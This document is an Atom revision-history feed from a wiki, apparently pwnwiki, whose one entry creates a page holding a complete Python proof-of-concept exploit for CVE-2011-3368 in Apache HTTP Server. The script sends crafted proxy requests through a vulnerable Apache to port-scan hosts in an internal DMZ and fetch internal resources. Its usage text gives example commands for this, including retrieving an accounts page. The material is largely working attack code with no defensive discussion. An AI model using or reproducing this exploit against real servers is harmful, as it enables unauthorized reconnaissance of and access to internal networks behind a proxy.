<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2011-3368_Apache_HTTP_Server%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2011-3368 Apache HTTP Server漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2011-3368_Apache_HTTP_Server%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2011-3368_Apache_HTTP_Server%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-17T22:55:58Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2011-3368_Apache_HTTP_Server%E6%BC%8F%E6%B4%9E&amp;diff=959&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==POC== &lt;pre&gt; #!/usr/bin/env python  import socket import string import getopt, sys   known_ports = [0,21,22,23,25,53,69,80,110,137,139,443,445,3306,3389,5432,5900,8080]  def...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2011-3368_Apache_HTTP_Server%E6%BC%8F%E6%B4%9E&amp;diff=959&amp;oldid=prev"/>
		<updated>2021-04-03T06:32:28Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==POC== &amp;lt;pre&amp;gt; #!/usr/bin/env python  import socket import string import getopt, sys   known_ports = [0,21,22,23,25,53,69,80,110,137,139,443,445,3306,3389,5432,5900,8080]  def...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==POC==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#!/usr/bin/env python&lt;br /&gt;
&lt;br /&gt;
import socket&lt;br /&gt;
import string&lt;br /&gt;
import getopt, sys&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
known_ports = [0,21,22,23,25,53,69,80,110,137,139,443,445,3306,3389,5432,5900,8080]&lt;br /&gt;
&lt;br /&gt;
def send_request(url, apache_target, apache_port, internal_target, internal_port, resource):&lt;br /&gt;
&lt;br /&gt;
  get = &amp;quot;GET &amp;quot; + url + &amp;quot;@&amp;quot; + internal_target + &amp;quot;:&amp;quot; + internal_port +  &amp;quot;/&amp;quot; + resource + &amp;quot; HTTP/1.1\r\n&amp;quot;&lt;br /&gt;
  get = get + &amp;quot;Host: &amp;quot; + apache_target + &amp;quot;\r\n\r\n&amp;quot;&lt;br /&gt;
  &lt;br /&gt;
  remoteserver = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&lt;br /&gt;
  remoteserver.settimeout(3)&lt;br /&gt;
&lt;br /&gt;
  try:&lt;br /&gt;
    remoteserver.connect((apache_target, int(apache_port)))&lt;br /&gt;
    remoteserver.send(get)&lt;br /&gt;
    return remoteserver.recv(4096)&lt;br /&gt;
  except:&lt;br /&gt;
    return &amp;quot;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
def get_banner(result):&lt;br /&gt;
  return result[string.find(result, &amp;quot;\r\n\r\n&amp;quot;)+4:]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def scan_host(url, apache_target, apache_port, internal_target, tested_ports, resource):&lt;br /&gt;
&lt;br /&gt;
  print_banner(url, apache_target, apache_port, internal_target, tested_ports, resource)&lt;br /&gt;
  for port in tested_ports:&lt;br /&gt;
    port = str(port)&lt;br /&gt;
    result = send_request(url, apache_target, apache_port, internal_target, port, resource)&lt;br /&gt;
    if string.find(result,&amp;quot;HTTP/1.1 200&amp;quot;)!=-1 or \&lt;br /&gt;
    string.find(result,&amp;quot;HTTP/1.1 30&amp;quot;)!=-1 or \&lt;br /&gt;
    string.find(result,&amp;quot;HTTP/1.1 502&amp;quot;)!=-1:&lt;br /&gt;
      print &amp;quot;- Open port: &amp;quot; + port + &amp;quot;/TCP&amp;quot;&lt;br /&gt;
      print get_banner(result)&lt;br /&gt;
    elif len(result)==0:&lt;br /&gt;
       print &amp;quot;- Filtered port: &amp;quot; + port + &amp;quot;/TCP&amp;quot;&lt;br /&gt;
    else:&lt;br /&gt;
       print &amp;quot;- Closed port: &amp;quot; + port + &amp;quot;/TCP&amp;quot;&lt;br /&gt;
      &lt;br /&gt;
&lt;br /&gt;
def usage():&lt;br /&gt;
  print&lt;br /&gt;
  print &amp;quot;CVE-2011-3368 proof of concept by Rodrigo Marcos&amp;quot;&lt;br /&gt;
  print &amp;quot;http://www.secforce.co.uk&amp;quot;&lt;br /&gt;
  print&lt;br /&gt;
  print &amp;quot;usage():&amp;quot;&lt;br /&gt;
  print &amp;quot;python apache_scan.py [options]&amp;quot;&lt;br /&gt;
  print&lt;br /&gt;
  print &amp;quot; [options]&amp;quot;&lt;br /&gt;
  print &amp;quot;    -r: Remote Apache host&amp;quot;&lt;br /&gt;
  print &amp;quot;    -p: Remote Apache port (default is 80)&amp;quot;&lt;br /&gt;
  print &amp;quot;    -u: URL on the remote web server (default is /)&amp;quot;&lt;br /&gt;
  print &amp;quot;    -d: Host in the DMZ (default is 127.0.0.1)&amp;quot;&lt;br /&gt;
  print &amp;quot;    -e: Port in the DMZ (enables 'single port scan')&amp;quot;&lt;br /&gt;
  print &amp;quot;    -g: GET request to the host in the DMZ (default is /)&amp;quot;&lt;br /&gt;
  print &amp;quot;    -h: Help page&amp;quot;&lt;br /&gt;
  print&lt;br /&gt;
  print &amp;quot;examples:&amp;quot;&lt;br /&gt;
  print &amp;quot; - Port scan of the remote host&amp;quot;&lt;br /&gt;
  print &amp;quot;    python apache_scan.py -r www.example.com -u /images/test.gif&amp;quot;&lt;br /&gt;
  print &amp;quot; - Port scan of a host in the DMZ&amp;quot;&lt;br /&gt;
  print &amp;quot;    python apache_scan.py -r www.example.com -u /images/test.gif -d internalhost.local&amp;quot;&lt;br /&gt;
  print &amp;quot; - Retrieve a resource from a host in the DMZ&amp;quot;&lt;br /&gt;
  print &amp;quot;    python apache_scan.py -r www.example.com -u /images/test.gif -d internalhost.local -e 80 -g /accounts/index.html&amp;quot;&lt;br /&gt;
  print&lt;br /&gt;
&lt;br /&gt;
def print_banner(url, apache_target, apache_port, internal_target, tested_ports, resource):&lt;br /&gt;
  print&lt;br /&gt;
  print &amp;quot;CVE-2011-3368 proof of concept by Rodrigo Marcos&amp;quot;&lt;br /&gt;
  print &amp;quot;http://www.secforce.com&amp;quot;&lt;br /&gt;
  print&lt;br /&gt;
  print &amp;quot; [+] Target: &amp;quot; + apache_target&lt;br /&gt;
  print &amp;quot; [+] Target port: &amp;quot; + apache_port&lt;br /&gt;
  print &amp;quot; [+] Internal host: &amp;quot; + internal_target&lt;br /&gt;
  print &amp;quot; [+] Tested ports: &amp;quot; + str(tested_ports)&lt;br /&gt;
  print &amp;quot; [+] Internal resource: &amp;quot; + resource&lt;br /&gt;
  print&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def main():&lt;br /&gt;
&lt;br /&gt;
  global apache_target&lt;br /&gt;
  global apache_port&lt;br /&gt;
  global url&lt;br /&gt;
  global internal_target&lt;br /&gt;
  global internal_port&lt;br /&gt;
  global resource&lt;br /&gt;
&lt;br /&gt;
  try:&lt;br /&gt;
    opts, args = getopt.getopt(sys.argv[1:], &amp;quot;u:r:p:d:e:g:h&amp;quot;, [&amp;quot;help&amp;quot;])&lt;br /&gt;
  except getopt.GetoptError:&lt;br /&gt;
    usage()&lt;br /&gt;
    sys.exit(2)&lt;br /&gt;
&lt;br /&gt;
  try:&lt;br /&gt;
    for o, a in opts:&lt;br /&gt;
      if o in (&amp;quot;-h&amp;quot;, &amp;quot;--help&amp;quot;):&lt;br /&gt;
        usage()&lt;br /&gt;
        sys.exit(2)&lt;br /&gt;
      if o == &amp;quot;-u&amp;quot;:&lt;br /&gt;
        url=a&lt;br /&gt;
      if o == &amp;quot;-r&amp;quot;:&lt;br /&gt;
        apache_target=a&lt;br /&gt;
      if o == &amp;quot;-p&amp;quot;:&lt;br /&gt;
        apache_port=a&lt;br /&gt;
      if o == &amp;quot;-d&amp;quot;:&lt;br /&gt;
        internal_target = a&lt;br /&gt;
      if o == &amp;quot;-e&amp;quot;:&lt;br /&gt;
        internal_port=a&lt;br /&gt;
      if o == &amp;quot;-g&amp;quot;:&lt;br /&gt;
        resource=a        &lt;br /&gt;
    &lt;br /&gt;
  except getopt.GetoptError:&lt;br /&gt;
    usage()&lt;br /&gt;
    sys.exit(2)&lt;br /&gt;
    &lt;br /&gt;
  if apache_target == &amp;quot;&amp;quot;:&lt;br /&gt;
    usage()&lt;br /&gt;
    sys.exit(2)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
url = &amp;quot;/&amp;quot;&lt;br /&gt;
apache_target = &amp;quot;&amp;quot;&lt;br /&gt;
apache_port = &amp;quot;80&amp;quot;&lt;br /&gt;
internal_target = &amp;quot;127.0.0.1&amp;quot;&lt;br /&gt;
internal_port = &amp;quot;&amp;quot;&lt;br /&gt;
resource = &amp;quot;/&amp;quot;&lt;br /&gt;
&lt;br /&gt;
main()&lt;br /&gt;
&lt;br /&gt;
if internal_port!=&amp;quot;&amp;quot;:&lt;br /&gt;
  tested_ports = [internal_port]&lt;br /&gt;
else:&lt;br /&gt;
  tested_ports = known_ports&lt;br /&gt;
&lt;br /&gt;
scan_host(url, apache_target, apache_port, internal_target, tested_ports, resource)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>